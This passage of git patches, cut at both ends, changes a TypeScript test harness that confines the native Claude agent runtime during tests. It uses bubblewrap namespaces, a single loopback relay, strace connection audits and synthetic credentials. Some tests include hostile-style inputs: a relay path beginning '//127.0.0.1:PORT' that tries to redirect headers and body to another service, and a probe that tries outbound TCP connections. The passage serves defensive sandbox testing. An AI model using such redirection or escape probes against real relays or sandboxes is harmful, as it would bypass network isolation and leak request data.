digest; +} + export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { - return /^(claude|claude-code)(\.exe)?$/.test(basename(command)) || - args.some(value => typeof value === "string" && (/claude-agent-sdk[^\n]*\/cli\.(js|mjs)$/.test(value) || - value.startsWith("/") && /^(claude|claude-code)(\.exe)?$/.test(basename(value)))); + for (const value of [command, ...args]) { + if (typeof value !== "string" || value.startsWith("-")) continue; + let path: string; + try { path = realpathSync(value.startsWith("/") ? value : Bun.which(value) ?? value); } catch { continue; } + if (installedRuntimes.some(runtime => runtime.path === path)) return true; + // Size eliminates ordinary fixture scripts and interpreters before hashing. + const size = statSync(path).size; + const candidates = installedRuntimes.filter(runtime => runtime.size === size); + if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; + } + return false; } function refuse(reason: string): never { @@ -108,9 +147,11 @@ function relay(upstream: string | undefined) { export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { qualify(); const env = options.env ?? process.env; - const cwd = realpathSync(options.cwd ?? process.cwd()); - const home = env.HOME && realpathSync(env.HOME); - if (!home || !within(tmpdir(), home) || home === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { + const versionOnly = args.at(-1) === "--version"; + const versionHome = versionOnly ? mkdtempSync(join(tmpdir(), "odysseus-native-version-")) : undefined; + const cwd = versionHome ?? realpathSync(options.cwd ?? process.cwd()); + const home = versionHome ?? (env.HOME && realpathSync(env.HOME)); + if (!home || !within(tmpdir(), home) || home === tmpdir() || cwd === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { refuse("native launch requires fixture-owned storage"); } const bridge = relay(args.at(-1) === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); @@ -124,7 +165,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; - const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: env.CLAUDE_CONFIG_DIR ?? home, + const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; @@ -140,8 +181,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); - return { argv, env: {}, dispose: bridge.dispose }; - } catch (error) { bridge.dispose(); throw error; } + return { argv, env: {}, dispose() { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); } }; + } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index aba0abdae1..ca073802f7 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1,59 +1,72 @@ -/** Refusal tests use a synthetic executable, never the installed native runtime. */ +/** Local tests never execute the installed native runtime, including mutations. */ import { expect, test } from "bun:test"; -import { chmodSync, existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { tmpdir } from "node:os"; +import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; +import { isNativeClaude } from "../scripts/test-native-guard"; const ROOT = join(import.meta.dir, ".."); +const runtime = bundledClaudeBinary(); +if (!runtime) throw new Error("Native boundary proof requires the installed SDK runtime identity"); -test("unqualified native SDK subprocess refuses before launch with a failed receipt", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-refusal-")); +async function probe(script: string, home: string) { + const path = join(home, "probe.ts"); writeFileSync(path, script); + const child = Bun.spawn([process.execPath, path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + return { code, output }; +} +const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; + import {nativeClaudeBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard();`; + +test("a harmless fixture named claude runs without native admission", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-fixture-runtime-")); try { const executable = join(scratch, "claude"), marker = join(scratch, "launched"); - // Even a mutation that removes admission can only run this harmless shell. - writeFileSync(executable, `#!/bin/sh\nprintf launched > '${marker}'\n`); - chmodSync(executable, 0o700); - const script = join(scratch, "probe.ts"); - writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - import {spawn} from "node:child_process"; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; - installNetworkGuard(); spawn(${JSON.stringify(executable)}, []);`); - const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); - expect(code).not.toBe(0); - expect(existsSync(marker)).toBe(false); - expect(output).toContain('"success":false,"nativeLaunched":false'); - expect(output).toContain("positive native proof requires a hosted runner"); + writeFileSync(executable, `#!/bin/sh\nprintf launched > '${marker}'\n`); chmodSync(executable, 0o700); + expect(isNativeClaude(executable)).toBe(false); + const result = await probe(`${imports} import {spawn} from "node:child_process"; spawn(${JSON.stringify(executable)}, []);`, scratch); + expect(result.code, result.output).toBe(0); expect(existsSync(marker)).toBe(true); } finally { rmSync(scratch, { recursive: true, force: true }); } }); -test("worker exec payload refuses before the trusted bootstrap starts", async () => { +test("worker exec payload refuses before its synthetic bootstrap starts", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-worker-refusal-")); try { - const marker = join(scratch, "launched"), script = join(scratch, "probe.ts"); - writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; - installNetworkGuard(); Bun.spawn(["/bin/sh", "-c", ${JSON.stringify(`printf launched > '${marker}'`)}], - {env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/synthetic/claude"],argv:["bwrap","--","/synthetic/claude"]})}});`); - const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); - expect(code).not.toBe(0); - expect(existsSync(marker)).toBe(false); - expect(output).toContain('"success":false,"nativeLaunched":false'); + const marker = join(scratch, "launched"); + // The declared payload is real, but this bootstrap can only write a marker. + // Removing admission in a mutation can never launch the installed runtime. + const result = await probe(`${imports} Bun.spawn(["/bin/sh", "-c", ${JSON.stringify(`printf launched > '${marker}'`)}], + {env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(runtime)}]})}});`, scratch); + expect(result.code).not.toBe(0); expect(existsSync(marker)).toBe(false); + expect(result.output).toContain('"success":false,"nativeLaunched":false'); } finally { rmSync(scratch, { recursive: true, force: true }); } }); test("catching a native refusal and exiting zero still fails the child", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-caught-refusal-")); try { - const script = join(scratch, "probe.ts"); - writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; - installNetworkGuard(); try { Bun.spawn(["/synthetic/claude"]); } catch {} process.exit(0);`); - const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); - expect(code).not.toBe(0); - expect(output).toContain('"success":false,"nativeLaunched":false'); + // Plan admission only: no spawn of the installed runtime, even if broken. + const result = await probe(`${imports} try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"success":false,"nativeLaunched":false'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("runtime provenance follows a symlink and detects an arbitrarily named byte-identical copy", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-runtime-identity-")); + try { + const linked = join(scratch, "odysseus-link"), copied = join(scratch, "odysseus-copy"); + symlinkSync(runtime!, linked); copyFileSync(runtime!, copied); + for (const path of [linked, copied]) { + expect(isNativeClaude(path)).toBe(true); + // Refusal planning is safe even under a broken guard: it never execs. + const result = await probe(`${imports} nativeClaudeBoundary(${JSON.stringify(path)}, [], {});`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"success":false,"nativeLaunched":false'); + expect(result.output).toContain("positive native proof requires a hosted runner"); + } } finally { rmSync(scratch, { recursive: true, force: true }); } }); From 71d5949a084363807e3a24dd79acdfe7136e64aa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:12:43 +0000 Subject: [PATCH 010/187] fix(ci): preserve keyless fixture routes inside the native boundary --- scripts/test-native-guard.ts | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 9427dd388f..62bee0c93a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -122,8 +122,9 @@ interface Boundary { argv: string[]; env: Record; dispose(): voi function relay(upstream: string | undefined) { let target: URL; try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } - if (target.protocol !== "http:" || target.hostname !== "127.0.0.1" || !target.port || target.username || target.password || + if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); + if (target.hostname === "localhost") target.hostname = "127.0.0.1"; const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); const socket = join(directory, "relay.sock"); const uid = process.getuid?.() ?? 0, gid = process.getgid?.() ?? 0; @@ -132,7 +133,8 @@ function relay(upstream: string | undefined) { const server = Bun.serve({ unix: socket, async fetch(request) { const url = new URL(request.url); if (url.origin !== "http://localhost") { - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, reason: "unintended native destination" })); + denied++; + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: true, reason: "unintended native destination", head: receiptHead() })); return new Response("Offline native destination refused", { status: 403 }); } // A redirect is returned to the isolated native process; it cannot make a @@ -173,9 +175,10 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]) { if (env[key]) childEnv[key] = env[key]!; } + if (/^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY ?? "")) childEnv.ANTHROPIC_API_KEY = env.ANTHROPIC_API_KEY!; // The core runner's pinned synthetic OAuth fixture tests that auth route. // No other ambient OAuth value may enter the native environment. - if (env.CLAUDE_CODE_OAUTH_TOKEN === `sk-ant-oat01-${"o".repeat(95)}AA`) { + if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) { delete childEnv.ANTHROPIC_API_KEY; childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN; } From c937f218e201c1023a84cdb625baa7d4f6d6eae5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:27:01 +0000 Subject: [PATCH 011/187] fix(ci): close relay, admission and native audit review gaps --- docs/process/testing.md | 12 +++- scripts/ci-runtime-setup.sh | 2 +- scripts/native-proof/Dockerfile | 2 +- scripts/test-native-guard.ts | 82 +++++++++++++++++++++------ scripts/test-network-guard.ts | 4 +- tests/native-offline-boundary.test.ts | 60 +++++++++++++++++++- 6 files changed, 135 insertions(+), 27 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 89226b4315..036ae06e4e 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1131,7 +1131,11 @@ Direct SDK children get an empty root filesystem, explicit system/runtime and fixture mounts, fresh PID and network namespaces, and one Unix socket bridged to the exact scripted IPv4 loopback service. They receive a synthetic API key. Host account databases, managed settings, homes and credential storage are not -mounted. Managed settings supplied by a hostile fixture are synthetic. Existing +mounted. The boundary traces native and descendant `connect` syscalls with +`strace` in raw-argument mode: only pointer/number arguments are recorded, never +addresses, file paths or payloads. On exit it publishes a sanitized +`native-offline-audit` receipt with the exact head and denied-connect count. +A missing namespace launcher or tracing capability refuses before launch. Managed settings supplied by a hostile fixture are synthetic. Existing workers retain their concrete fixture mounts and private egress namespace, but lose the broad read-only host root. A shared-network native worker refuses. No production authentication or managed-policy behavior changes. @@ -1139,6 +1143,10 @@ No production authentication or managed-policy behavior changes. `tests/native-offline-boundary.test.ts` proves local refusal with harmless synthetic executables. Hosted proof additionally exercises hostile managed settings, an outside-HOME sentinel credential, helper descendants, denied TCP, -and the one permitted scripted service. Run installed-native backend and +and the one permitted scripted service; the child silently swallows denied +connections, so the audit count comes from the boundary rather than child output. +The retention fixtures in #4312 separately integrate their instrumented `rg` +through the boundary PATH, `USE_BUILTIN_RIPGREP` and fixture mounts; their complete +retention qualification remains with #4274. Run installed-native backend and provider-history cells only in hosted CI; a temporary HOME and SDK options alone do not establish isolation. diff --git a/scripts/ci-runtime-setup.sh b/scripts/ci-runtime-setup.sh index 7aea9f64e4..1e25e53d81 100644 --- a/scripts/ci-runtime-setup.sh +++ b/scripts/ci-runtime-setup.sh @@ -8,7 +8,7 @@ if [ "${1:-}" != "--native" ]; then bun scripts/ci-disk.ts reclaim fi sudo apt-get update -qq -sudo apt-get install --yes bubblewrap iproute2 poppler-utils +sudo apt-get install --yes bubblewrap iproute2 poppler-utils strace # Unit partitions retain their existing prerequisites; the runtime job alone # prepares the native image before entering its network-disabled proof. if [ "${1:-}" = "--native" ]; then diff --git a/scripts/native-proof/Dockerfile b/scripts/native-proof/Dockerfile index cd5ff14c75..8978f4b4c5 100644 --- a/scripts/native-proof/Dockerfile +++ b/scripts/native-proof/Dockerfile @@ -8,6 +8,6 @@ RUN timeout --kill-after=10s 600s sh -ec ' \ if [ "$attempt" = 3 ]; then exit 1; fi; \ sleep 5; \ done; \ - DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 bubblewrap libseccomp2 git iproute2 openssl ca-certificates; \ + DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 bubblewrap strace libseccomp2 git iproute2 openssl ca-certificates; \ rm -rf /var/lib/apt/lists/*' ENTRYPOINT ["python3"] diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 62bee0c93a..6069918f1a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -53,11 +53,18 @@ function fileHash(path: string): string { const digest = hash.digest("hex"); hashes.set(key, digest); return digest; } -export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { +interface SpawnContext { cwd?: string; env?: Record } +function resolveExecutable(command: string, options: SpawnContext): string { + const cwd = resolve(options.cwd ?? process.cwd()); + const path = options.env?.PATH ?? process.env.PATH; + return realpathSync(command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command)); +} + +export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { for (const value of [command, ...args]) { if (typeof value !== "string" || value.startsWith("-")) continue; let path: string; - try { path = realpathSync(value.startsWith("/") ? value : Bun.which(value) ?? value); } catch { continue; } + try { path = resolveExecutable(value, options); } catch { continue; } if (installedRuntimes.some(runtime => runtime.path === path)) return true; // Size eliminates ordinary fixture scripts and interpreters before hashing. const size = statSync(path).size; @@ -75,8 +82,8 @@ function refuse(reason: string): never { throw new Error(`Offline native Claude refused before launch: ${reason}`); } -export function refuseNativeClaude(command: string, args: readonly unknown[] = []): void { - if (isNativeClaude(command, args)) refuse("OS isolation has not been qualified"); +export function refuseNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): void { + if (isNativeClaude(command, args, options)) refuse("OS isolation has not been qualified"); } function qualify(): void { @@ -86,10 +93,17 @@ function qualify(): void { refuse("positive native proof requires a hosted runner"); } if (qualified) return; - const result = Bun.spawnSync(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", + let result: ReturnType; + try { result = Bun.spawnSync(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"], - { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); + { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + catch { refuse("OS namespace setup failed"); } if (result.exitCode !== 0) refuse("OS namespace setup failed"); + let trace: ReturnType; + try { trace = Bun.spawnSync(["strace", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"], + { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + catch { refuse("native connection audit setup failed"); } + if (trace.exitCode !== 0) refuse("native connection audit setup failed"); qualified = true; } @@ -116,10 +130,34 @@ function testRuntimeMounts(): string[] { }); } -interface Boundary { argv: string[]; env: Record; dispose(): void } +interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: true; deniedConnects: number } +interface Boundary { argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } + +/** Raw connect arguments are pointers/numbers: no addresses, paths or payloads. */ +export function deniedNativeConnects(trace: string): number { + return trace.split("\n").filter(line => /(?:connect\(|connect resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; +} + +function auditNativeLaunch(argv: string[], cleanup: () => void) { + const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); + const log = join(directory, "connect.log"); + writeFileSync(log, "", { mode: 0o600 }); + let receipt: AuditReceipt | undefined; + const finish = (): AuditReceipt => { + if (receipt) return receipt; + try { + const trace = readFileSync(log, "utf8"); + receipt = { kind: "native-offline-audit", head: receiptHead(), nativeLaunched: true, deniedConnects: deniedNativeConnects(trace) }; + console.error(JSON.stringify(receipt)); + return receipt; + } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } + }; + return { argv: ["strace", "-f", "-qq", "-e", "trace=connect", "-e", "raw=connect", "-o", log, "--", ...argv], + dispose() { finish(); }, receipt: finish }; +} /** One Unix socket forwards only to the explicitly selected scripted service. */ -function relay(upstream: string | undefined) { +export function startNativeTestRelay(upstream: string | undefined) { let target: URL; try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || @@ -130,19 +168,24 @@ function relay(upstream: string | undefined) { const uid = process.getuid?.() ?? 0, gid = process.getgid?.() ?? 0; writeFileSync(join(directory, "passwd"), `odysseus:x:${uid}:${gid}:Odysseus:/tmp/native-account:/bin/sh\n`); writeFileSync(join(directory, "group"), `odysseus:x:${gid}:\n`); - const server = Bun.serve({ unix: socket, async fetch(request) { + const handle = async (request: Request): Promise => { const url = new URL(request.url); - if (url.origin !== "http://localhost") { + // Concatenate onto the fixed authority; never resolve a request-controlled + // path as a relative URL, where // or backslashes could replace that host. + const outbound = new URL(target.origin + url.pathname + url.search); + if (url.origin !== "http://localhost" || !url.pathname.startsWith("/") || url.pathname.startsWith("//") || + url.pathname.includes("\\") || outbound.origin !== target.origin) { denied++; console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: true, reason: "unintended native destination", head: receiptHead() })); return new Response("Offline native destination refused", { status: 403 }); } // A redirect is returned to the isolated native process; it cannot make a // TCP connection or obtain another host socket through this bridge. - return fetch(new URL(url.pathname + url.search, target), { method: request.method, headers: request.headers, + return fetch(outbound, { method: request.method, headers: request.headers, body: request.body, redirect: "manual", signal: request.signal }); - } }); - return { directory, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; + }; + const server = Bun.serve({ unix: socket, fetch: handle }); + return { directory, handle, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; } /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ @@ -156,9 +199,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (!home || !within(tmpdir(), home) || home === tmpdir() || cwd === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { refuse("native launch requires fixture-owned storage"); } - const bridge = relay(args.at(-1) === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); + const bridge = startNativeTestRelay(args.at(-1) === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); try { - command = Bun.which(command) ?? command; + command = resolveExecutable(command, options); const executable = realpathSync(command); const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), @@ -184,7 +227,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); - return { argv, env: {}, dispose() { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); } }; + const audited = auditNativeLaunch(argv, () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); + return { ...audited, env: {} }; } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -219,7 +263,7 @@ export function nativeWorkerBoundary(env: Record): { } // Existing restricted workers already have a server-owned exact-route relay. // The unused bridge in that case supplies only synthetic account files. - const bridge = relay(existingRelay ? "http://127.0.0.1:1" : launch.env?.ANTHROPIC_BASE_URL); + const bridge = startNativeTestRelay(existingRelay ? "http://127.0.0.1:1" : launch.env?.ANTHROPIC_BASE_URL); try { for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); @@ -231,6 +275,8 @@ export function nativeWorkerBoundary(env: Record): { argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: bridge.dispose }; + const audited = auditNativeLaunch(argv, bridge.dispose); + launch.argv = audited.argv; + return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 5a7b74da44..1ac066fc9b 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -155,8 +155,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. let boundary: ReturnType | undefined; - if (isNativeClaude(executable, cmd.slice(1))) { - if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1)); + if (isNativeClaude(executable, cmd.slice(1), options)) { + if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1), options); boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index ca073802f7..af62b929d5 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -70,6 +70,58 @@ test("runtime provenance follows a symlink and detects an arbitrarily named byte } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("native identity uses the child's PATH and cwd", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-resolution-")); + try { + symlinkSync(runtime!, join(scratch, "odysseus-selected")); + expect(isNativeClaude("odysseus-selected", [], { env: { PATH: scratch }, cwd: "/" })).toBe(true); + expect(isNativeClaude("./odysseus-selected", [], { env: { PATH: "/usr/bin:/bin" }, cwd: scratch })).toBe(true); + expect(isNativeClaude("/usr/bin/true", [], { env: { PATH: scratch }, cwd: scratch })).toBe(false); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("missing bubblewrap emits a failed receipt and cannot be caught into success", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-missing-isolation-")); + try { + const result = await probe(`${imports} + process.env.GITHUB_ACTIONS="true"; process.env.RUNNER_ENVIRONMENT="github-hosted"; + const original=Bun.spawnSync; + Bun.spawnSync=((...args)=>{if(args[0]?.[0]==="bwrap")throw Object.assign(new Error("synthetic missing isolation"),{code:"ENOENT"});return Reflect.apply(original,Bun,args);}); + try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"success":false,"nativeLaunched":false'); + expect(result.output).toContain('"reason":"OS namespace setup failed"'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("relay paths cannot redirect headers and body to another loopback service", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-origin-")); + let intended = 0, unintended = 0; + const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { intended++; return new Response("Ithaca"); } }); + const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); + try { + const result = await probe(`${imports} + import {startNativeTestRelay} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const relay=startNativeTestRelay(${JSON.stringify(target.url.origin)}); + try { + const denied=await relay.handle(new Request(${JSON.stringify(`http://localhost//127.0.0.1:${other.port}/v1/messages`)}, + {method:"POST",headers:{authorization:"odysseus-fixture"},body:"synthetic"})); + if(denied.status!==403)throw Error("relay accepted an authority path"); + const allowed=await relay.handle(new Request("http://localhost/v1/messages")); + if(await allowed.text()!=="Ithaca")throw Error("scripted origin was unavailable"); + console.log("RELAY_AUTHORITY_REFUSED"); + } finally {relay.dispose();} process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"unintended native destination"'); + expect(unintended).toBe(0); expect(intended).toBe(1); + } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } +}); + +test("native audit counts raw kernel failures without decoding addresses or payloads", async () => { + const { deniedNativeConnects } = await import("../scripts/test-native-guard"); + expect(deniedNativeConnects("1 connect(0x3, 0x123, 0x10) = -1 ENETUNREACH (Network is unreachable)\n2 <... connect resumed>) = -1 EACCES (Permission denied)\n3 connect(0x4, 0x456, 0x10) = 0\n4 connect(0x5, 0x789, 0x10) = -1 EINPROGRESS (Operation now in progress)")).toBe(2); +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. @@ -100,7 +152,7 @@ for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: try: socket.create_connection((host,port),timeout=1) except OSError: - print('NATIVE_TCP_DENIED',flush=True) + pass else: raise RuntimeError('unintended native destination reached') connection=http.client.HTTPConnection('localhost') @@ -117,13 +169,14 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) const child = Bun.spawn(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const [code, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); expect(code, err).toBe(0); - expect(out.match(/NATIVE_TCP_DENIED/g)).toHaveLength(2); + expect(boundary.receipt().deniedConnects).toBeGreaterThanOrEqual(2); expect(out).toContain("HOSTILE_MANAGED_BOUNDARY_HELD"); expect(out + err).not.toContain("odysseus-synthetic-credential"); expect(requests).toBe(1); // Restored mutation: re-expose only the synthetic outside credential. // The same runtime assertion must now reject the managed helper escape. - const mutant = [...boundary.argv]; + const 